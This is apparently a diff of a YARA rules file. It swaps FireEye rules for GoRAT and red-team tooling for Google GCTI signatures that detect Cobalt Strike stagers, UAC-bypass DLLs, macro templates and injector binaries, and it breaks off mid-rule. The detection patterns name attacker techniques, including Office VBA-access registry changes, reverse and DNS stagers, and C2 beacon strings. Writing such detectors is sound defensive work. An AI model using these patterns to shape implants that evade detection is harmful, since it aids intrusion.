-		logic_hash = "ad954f9922ab564d68cb4515b080f6ee69476a8d87f0038e2ae4c222f0e182d7"
+		description = "Cobalt Strike's resources/artifact32{.dll,.exe,svc.exe,big.exe,big.dll,bigsvc.exe} and resources/artifact32uac(alt).dll signature for versions 3.1 and 3.2"
+		author = "gssincla@google.com"
+		id = "4fff7f42-9f50-5945-8ec0-2438ac5c7000"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara#L34-L60"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "4f14bcd7803a8e22e81e74d6061d0df9e8bac7f96f1213d062a29a8523ae4624"
+		logic_hash = "7a0d33d0260c762b4aa67e4084d7474338c60aa684fd3e622614745d90350da8"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 4
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide
+		$decoderFunc = { 89 ?? B? 04 00 00 00 99 F7 FF 8B [2] 8A [2] 30 ?? 8A ?? 4? 88 }
 
 	condition:
-		uint16(0)==0x5A4D and $typelibguid
+		all of them
 }
-rule FIREEYE_RT_Loader_MSIL_Csharpsectioninjection_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Artifact32_V3_14_To_V4_X
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'C_Sharp_SectionInjection' project."
-		author = "FireEye"
-		id = "ca5bf5cd-1950-53ed-8984-e880a15e658e"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSECTIONINJECTION/production/yara/Loader_MSIL_CSharpSectionInjection_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "011cf4dffe6ef90a79cdfabb0e297152c00b0404b1801f56fd7e703ab90b1692"
+		description = "Cobalt Strike's resources/artifact32{.dll,.exe,big.exe,big.dll,bigsvc.exe} signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x and resources/artifact32uac.dll for v3.14 and v4.0"
+		author = "gssincla@google.com"
+		id = "8a010305-dce5-55f4-b2dd-a736721efe22"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara#L62-L89"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "888bae8d89c03c1d529b04f9e4a051140ce3d7b39bc9ea021ad9fc7c9f467719"
+		logic_hash = "fc5c353c568e33df80fa5bab14d11112ca211e269043b83dba8b7d1a6a008a7b"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "d77135da-0496-4b5c-9afe-e1590a4c136a" ascii nocase wide
+		$pushFmtStr = {	C7 [3] 5C 00 00 00 C7 [3] 65 00 00 00 C7 [3] 70 00 00 00 C7 [3] 69 00 00 00 C7 [3] 70 00 00 00 F7 F1 C7 [3] 5C 00 00 00  C7 [3] 2E 00 00 00 C7 [3] 5C 00 00 00 }
+		$fmtStr = "%c%c%c%c%c%c%c%c%cMSSE-%d-server"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_Loader_MSIL_Allthethings_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Bypassuac_X64_Dll_V3_3_To_V3_14_And_Sleeve_Bypassuac_X64_Dll_V4_0_And_V4_X
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'AllTheThings' project."
-		author = "FireEye"
-		id = "1805b406-2531-56bf-8e08-e63a59ffcc84"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/ALLTHETHINGS/production/yara/Loader_MSIL_AllTheThings_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "e3058095f2a49f8c0f78cb392024795367609b04c1da80210ab8d72c6613ee71"
+		description = "Cobalt Strike's resources/bypassuac-x64.dll from v3.3 to v3.14 (64-bit version) and sleeve/bypassuac.x64.dll from v4.0 to at least v4.4"
+		author = "gssincla@google.com"
+		id = "eef83901-63d9-55a3-b115-03f420416177"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuac_x64_Dll_v3_3_to_v3_14_and_Sleeve_Bypassuac_x64_Dll_v4_0_and_v4_x.yara#L17-L86"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "9ecf56e9099811c461d592c325c65c4f9f27d947cbdf3b8ef8a98a43e583aecb"
+		logic_hash = "d76e3601f61ae164a8df9048d59d15cd6913e64adb93132244e83f40bf67d86a"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "542ccc64-c4c3-4c03-abcd-199a11b26754" ascii nocase wide
+		$deleteFileCOM = {
+			48 8B [5]
+			45 33 ??
+			48 8B ??
+			FF 90 90 00 00 00
+			85 C0
+			75 ??
+			48 8B [5]
+			48 8B ??
+			FF 92 A8 00 00 00
+			85 C0
+		}
+		$copyFileCOM = {
+			48 8B [5]
+			4C 8B [5]
+			48 8B [5]
+			48 8B ??
+			4C 8B ??
+			48 89 [3]
+			FF 90 80 00 00 00
+			85 C0
+			0F 85 [4]
+			48 8B [5]
+			48 8B 11
+			FF 92 A8 00 00 00
+		}
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_GPOHUNT_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Reverse64_Bin_V2_5_Through_V4_X
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'gpohunt' project."
-		author = "FireEye"
-		id = "e4325f11-103c-5893-8978-9a72f7ca6105"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/GPOHUNT/production/yara/APT_HackTool_MSIL_GPOHUNT_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "4b1f175dac123a6340494e2730d66c718478fb7618dc5611315992ed33e0f6c7"
-		score = 50
-		quality = 73
-		tags = "FILE"
-		rev = 3
+		description = "Cobalt Strike's resources/reverse64.bin signature for versions v2.5 to v4.x"
+		author = "gssincla@google.com"
+		id = "966e6e4c-85e2-5c94-8245-25367802b7d2"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Reverse64_Bin_v2_5_through_v4_x.yara#L17-L99"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "d2958138c1b7ef681a63865ec4a57b0c75cc76896bf87b21c415b7ec860397e8"
+		logic_hash = "c657234156293b9ac363b677490739ab0b5cc2ef149c9d9c37332dab9bb012f6"
+		score = 75
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "751a9270-2de0-4c81-9e29-872cd6378303" ascii nocase wide
+		$apiLocator = {
+			48 [2]
+			AC
+			41 [2] 0D
+			41 [2]
+			38 ??
+			75 ??
+			4C [4]
+			45 [2]
+			75 ??
+			5?
+			44 [2] 24
+			49 [2]
+			66 [4]
+			44 [2] 1C
+			49 [2]
+			41 [3]
+			48
+		}
+		$calls = {
+			48 89 C1
+			41 BA EA 0F DF E0
+			FF D5
+			48 [2]
+			6A ??
+			41 ??
+			4C [2]
+			48 [2]
+			41 BA 99 A5 74 61
+			FF D5
+		}
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		$apiLocator and $calls
 }
-rule FIREEYE_RT_APT_Backdoor_Win_Gorat_Memory
+rule GCTI_Cobaltstrike_Resources_Smbstager_Bin_V2_5_Through_V4_X
 {
 	meta:
-		description = "Identifies GoRat malware in memory based on strings."
-		author = "FireEye"
-		id = "16fb1db7-711c-5d8d-9203-738c94f253fe"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GoRat_Memory.yar#L4-L27"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "3b926b5762e13ceec7ac3a61e85c93bb"
-		logic_hash = "88272e59325d106f96d6b6f1d57daf968823c1e760067dee0334c66c521ce8c2"
+		description = "Cobalt Strike's resources/smbstager.bin signature for versions 2.5 to 4.x"
+		author = "gssincla@google.com"
+		id = "074b7d83-e3d8-541c-804b-2417c21f54d5"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Smbstager_Bin_v2_5_through_v4_x.yara#L17-L95"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "946af5a23e5403ea1caccb2e0988ec1526b375a3e919189f16491eeabc3e7d8c"
+		logic_hash = "b0f6535069df16a64de44ca0638ec060c1ff264a7820c94710d61ca7e8474450"
 		score = 75
-		quality = 75
+		quality = 85
 		tags = ""
-		rev = 1
 
 	strings:
-		$murica = "murica" fullword
-		$rat1 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword
-		$rat2 = "rat.(*Core).generateBeacon" fullword
-		$rat3 = "rat.gJitter" fullword
-		$rat4 = "rat/comms.(*protectedChannel).SendCmdResponse" fullword
-		$rat5 = "rat/modules/filemgmt.(*acquire).NewCommandExecution" fullword
-		$rat6 = "rat/modules/latlisten.(*latlistensrv).handleCmd" fullword
-		$rat7 = "rat/modules/netsweeper.(*netsweeperRunner).runSweep" fullword
-		$rat8 = "rat/modules/netsweeper.(*Pinger).listen" fullword
-		$rat9 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword
-		$rat10 = "rat/platforms/win/dyloader.(*memoryLoader).ExecutePluginFunction" fullword
-		$rat11 = "rat/platforms/win/modules/namedpipe.(*dummy).Open" fullword
-		$winblows = "rat/platforms/win.(*winblows).GetStage" fullword
+		$apiLocator = {
+			31 ??
+			AC
+			C1 ?? 0D
+			01 ??
+			38 ??
+			75 ??
+			03 [2]
+			3B [2]
+			75 ??
+			5?
+			8B ?? 24
+			01 ??
+			66 8B [2]
+			8B ?? 1C
+			01 ??
+			8B ?? 8B
+			01 ??
+			89 [3]
+			5?
+			5?
+		}
+		$smb = { 68 C6 96 87 52 }
+		$smbstart = {
+			6A 40
+			68 00 10 00 00
+			68 FF FF 07 00
+			6A 00
+			68 58 A4 53 E5
+		}
 
 	condition:
-		$winblows or #murica>10 or 3 of ($rat*)
+		$apiLocator and $smb and $smbstart
 }
-rule FIREEYE_RT_Trojan_MSIL_GORAT_Module_Powershell_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Covertvpn_Injector_Exe_V1_44_To_V2_0_49
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Module - PowerShell' project."
-		author = "FireEye"
-		id = "b0fba130-9cd9-5b7f-a806-9ff8099f5731"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/Trojan_MSIL_GORAT_Module_PowerShell_1.yar#L4-L16"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "e596bc0316a4ef85f04c2683ebc7c94bf9b831843232c33e62c84991e4caeb97"
+		description = "Cobalt Strike's resources/covertvpn-injector.exe signature for version v1.44 to v2.0.49"
+		author = "gssincla@google.com"
+		id = "48485ae2-1d99-5fa8-b8e8-0047e92ef447"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Covertvpn_injector_Exe_v1_44_to_v2_0_49.yara#L17-L116"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "d741751520f46602f5a57d1ed49feaa5789115aeeba7fa4fc7cbb534ee335462"
+		logic_hash = "119602efe6243d8c0dc7b8f4468eb9b3be292620920f69dc8a560f900ac7f622"
 		score = 75
-		quality = 71
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "38d89034-2dd9-4367-8a6e-5409827a243a" ascii nocase wide
-		$typelibguid1 = "845ee9dc-97c9-4c48-834e-dc31ee007c25" ascii nocase wide
+		$dropComponentsAndActivateDriver_prologue = {
+			C7 04 24 [4]
+			E8 [4]
+			83 EC 04
+			C7 44 24 04 [4]
+			89 04 24
+			E8 59 14 00 00
+			83 EC 08
+			89 45 ??
+			83 7D ?? 00
+			74 ??
+			E8 [4]
+			8D [2]
+			89 [3]
+			89 04 24
+		}
+		$dropFile = {
+			C7 44 24 04 00 00 00 00
+			8B [2]
+			89 ?? 24
+			E8 [4]
+			83 F8 FF
+			74 ??
+			8B [2]
+			89 ?? 24 04
+			C7 04 24 [4]
+			E8 [4]
+			E9 [4]
+			C7 44 24 18 00 00 00 00
+			C7 44 24 14 80 01 00 00
+			C7 44 24 10 02 00 00 00
+			C7 44 24 0C 00 00 00 00
+			C7 44 24 08 05 00 00 00
+			C7 44 24 04 00 00 00 40
+			8B [2]
+			89 04 24
+			E8 [4]
+			83 EC 1C
+			89 45 ??
+		}
+		$nfp = "npf.sys" nocase
+		$wpcap = "wpcap.dll" nocase
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-rule FIREEYE_RT_APT_Backdoor_Macos_GORAT_1 : FILE
+rule GCTI_Cobaltstrike_Resources__Template_Vbs_V3_3_To_V4_X
 {
 	meta:
-		description = "This rule is looking for specific strings associated with network activity found within the MacOS generated variant of GORAT"
-		author = "FireEye"
-		id = "4646eadb-7acf-582f-9ad6-00f012ceed8a"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_MacOS_GORAT_1.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "68acf11f5e456744262ff31beae58526"
-		logic_hash = "2df5f87d44968670511880d21ad184779d0561c7c426a5d6426bcefd0904a9b7"
+		description = "Cobalt Strike's resources/btemplate.vbs signature for versions v3.3 to v4.x"
+		author = "gssincla@google.com"
+		id = "62f35d02-1e4e-5651-b575-888ce06b8bdd"
+		date = "2022-11-18"
+		modified = "2022-11-22"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_Vbs_v3_3_to_v4_x.yara#L17-L41"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "e0683f953062e63b2aabad7bc6d76a78748504b114329ef8e2ece808b3294135"
+		logic_hash = "c9df0e287eb0eacf7c6cfcf3f6d1043ae6f2fdacd3b22bd42ac71f4b0d7226ff"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 3
+		quality = 83
+		tags = ""
 
 	strings:
-		$s1 = "SID1=%s" ascii wide
-		$s2 = "http/http.dylib" ascii wide
-		$s3 = "Mozilla/" ascii wide
-		$s4 = "User-Agent" ascii wide
-		$s5 = "Cookie" ascii wide
+		$ea = "Excel.Application" nocase
+		$vis = "Visible = False" nocase
+		$wsc = "Wscript.Shell" nocase
+		$regkey1 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" nocase
+		$regkey2 = "\\Excel\\Security\\AccessVBOM" nocase
+		$regwrite = ".RegWrite" nocase
+		$dw = "REG_DWORD"
+		$code = ".CodeModule.AddFromString"
+		$ao = { 41 75 74 6f 5f 4f 70 65 6e }
+		$da = ".DisplayAlerts"
 
 	condition:
-		(( uint32(0)==0xBEBAFECA) or ( uint32(0)==0xFEEDFACE) or ( uint32(0)==0xFEEDFACF) or ( uint32(0)==0xCEFAEDFE)) and all of them
+		all of them
 }
-rule FIREEYE_RT_Trojan_MSIL_GORAT_Plugin_DOTNET_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Dnsstager_Bin_V1_47_Through_V4_X
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Plugin - .NET' project."
-		author = "FireEye"
-		id = "faa73d64-4bb1-5c06-a3a5-1f1aa99ea932"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/Trojan_MSIL_GORAT_Plugin_DOTNET_1.yar#L4-L16"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "e979822273c6d1ccdfebd341c9e2cb1040fe34a04e8b41c024885063fd946ad5"
+		description = "Cobalt Strike's resources/dnsstager.bin signature for versions 1.47 to 4.x"
+		author = "gssincla@google.com"
+		id = "e1b0e368-9bcf-5d9b-b2b3-8414742f213e"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Dnsstager_Bin_v1_47_through_v4_x.yara#L17-L78"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "10f946b88486b690305b87c14c244d7bc741015c3fef1c4625fa7f64917897f1"
+		logic_hash = "d4500d8a83a821e1df9e808b17a87c1207d78ea0e03886544a632176fe93ccd0"
 		score = 75
-		quality = 71
-		tags = "FILE"
-		rev = 1
+		quality = 83
+		tags = ""
 
 	strings:
-		$typelibguid0 = "cd9407d0-fc8d-41ed-832d-da94daa3e064" ascii nocase wide
-		$typelibguid1 = "fc3daedf-1d01-4490-8032-b978079d8c2d" ascii nocase wide
+		$apiLocator = {
+			31 ??
+			AC
+			C1 ?? 0D
+			01 ??
+			38 ??
+			75 ??
+			03 [2]
+			3B [2]
+			75 ??
+			5?
+			8B ?? 24
+			01 ??
+			66 8B [2]
+			8B ?? 1C
+			01 ??
+			8B ?? 8B
+			01 ??
+			89 [3]
+			5?
+			5?
+		}
+		$dnsapi = { 68 64 6E 73 61 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		$apiLocator and $dnsapi
 }
-rule FIREEYE_RT_APT_Backdoor_Win_GORAT_5 : FILE
+rule GCTI_Cobaltstrike_Resources_Httpsstager64_Bin_V3_2_Through_V4_X
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "73102bd2-7b94-5c7b-b9a4-cfc9cf5e3212"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_5.yar#L4-L23"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "cdf58a48757010d9891c62940c439adb, a107850eb20a4bb3cc59dbd6861eaf0f"
-		logic_hash = "67f85fb3bedfd18a1226c92318f387be3c7ff9566ca2d554c49cf62389482552"
+		description = "Cobalt Strike's resources/httpsstager64.bin signature for versions v3.2 to v4.x"
+		author = "gssincla@google.com"
+		id = "c16e73fc-484a-5f7e-8127-d85a0254d842"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpsstager64_Bin_v3_2_through_v4_x.yara#L17-L90"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "109b8c55816ddc0defff360c93e8a07019ac812dd1a42209ea7e95ba79b5a573"
+		logic_hash = "4889a23c1f2780044b9fb2a0207676d57e82e6c1275614b684a5a9cbe984b761"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$1 = "comms.BeaconData" fullword
-		$2 = "comms.CommandResponse" fullword
-		$3 = "rat.BaseChannel" fullword
-		$4 = "rat.Config" fullword
-		$5 = "rat.Core" fullword
-		$6 = "platforms.AgentPlatform" fullword
-		$7 = "GetHostID" fullword
-		$8 = "/rat/cmd/gorat_shared/dllmain.go" fullword
+		$apiLocator = {
+			48 [2]
+			AC
+			41 [2] 0D
+			41 [2]
+			38 ??
+			75 ??
+			4C [4]
+			45 [2]
+			75 ??
+			5?
+			44 [2] 24
+			49 [2]
+			66 [4]
+			44 [2] 1C
+			49 [2]
+			41 [3]
+			48
+		}
+		$InternetSetOptionA = {
+			BA 1F 00 00 00
+			6A 00
+			68 80 33 00 00
+			49 [2]
+			41 ?? 04 00 00 00
+			41 ?? 75 46 9E 86
+		}
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		$apiLocator and $InternetSetOptionA
 }
-rule FIREEYE_RT_APT_Backdoor_Win_GORAT_2 : FILE
+rule GCTI_Cobaltstrike_Resources_Artifact32Svc_Exe_V3_1_V3_2_V3_14_And_V4_X
 {
 	meta:
-		description = "Verifies that the sample is a Windows PE that is less than 10MB in size and has the Go build ID strings. Then checks for various strings known to be in the Gorat implant including strings used in C2 json, names of methods, and the unique string 'murica' used in C2 comms. A check is done to ensure the string 'rat' appears in the binary over 1000 times as it is the name of the project used by the implant and is present well over 2000 times."
-		author = "FireEye"
-		id = "e2c47711-d088-5cb4-8d21-f8199a865a28"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE (Gorat)/production/yara/APT_Backdoor_Win_GORAT_2.yar#L4-L34"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "f59095f0ab15f26a1ead7eed8cdb4902"
-		logic_hash = "8efc904498386d89879766a5021148a250f639bc328df12a34cfc8d620df6f6c"
+		description = "Cobalt Strike's resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x)"
+		author = "gssincla@google.com"
+		id = "732169be-e334-5774-b0ac-54b217a8b681"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32svc_Exe_v1_49_to_v4_x.yara#L53-L77"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "871390255156ce35221478c7837c52d926dfd581173818620b738b4b029e6fd9"
+		logic_hash = "b55211fc2dbe100edb19c3f3a000be513144e3556c4bce8a29a3c0b77451ba96"
 		score = 75
-		quality = 50
-		tags = "FILE"
-		rev = 7
+		quality = 85
+		tags = ""
 
 	strings:
-		$go1 = "go.buildid" ascii wide
-		$go2 = "Go build ID:" ascii wide
-		$json1 = "json:\"pid\"" ascii wide
-		$json2 = "json:\"key\"" ascii wide
-		$json3 = "json:\"agent_time\"" ascii wide
-		$json4 = "json:\"rid\"" ascii wide
-		$json5 = "json:\"ports\"" ascii wide
-		$json6 = "json:\"agent_platform\"" ascii wide
-		$rat = "rat" ascii wide
-		$str1 = "handleCommand" ascii wide
-		$str2 = "sendBeacon" ascii wide
-		$str3 = "rat.AgentVersion" ascii wide
-		$str4 = "rat.Core" ascii wide
-		$str5 = "rat/log" ascii wide
-		$str6 = "rat/comms" ascii wide
-		$str7 = "rat/modules" ascii wide
-		$str8 = "murica" ascii wide
-		$str9 = "master secret" ascii wide
-		$str10 = "TaskID" ascii wide
-		$str11 = "rat.New" ascii wide
+		$decoderFunc = { 89 ?? B? 04 00 00 00 99 F7 FF 8B [2] 8A [2] 30 }
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <10MB and all of ($go*) and all of ($json*) and all of ($str*) and #rat>1000
+		$decoderFunc
 }
-import "pe"
-
-rule FIREEYE_RT_APT_Backdoor_Win_GORAT_4 : FILE
+rule GCTI_Cobaltstrike_Resources_Template_X86_Vba_V3_8_To_V4_X
 {
 	meta:
-		description = "Verifies that the sample is a Windows PE that is less than 10MB in size and exports numerous functions that are known to be exported by the Gorat implant. This is done in an effort to provide detection for packed samples that may not have other strings but will need to replicate exports to maintain functionality."
-		author = "FireEye"
-		id = "fa3bcaad-c210-5b9c-8567-fe85b8e78055"
-		date = "2021-03-03"
-		modified = "2021-03-03"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
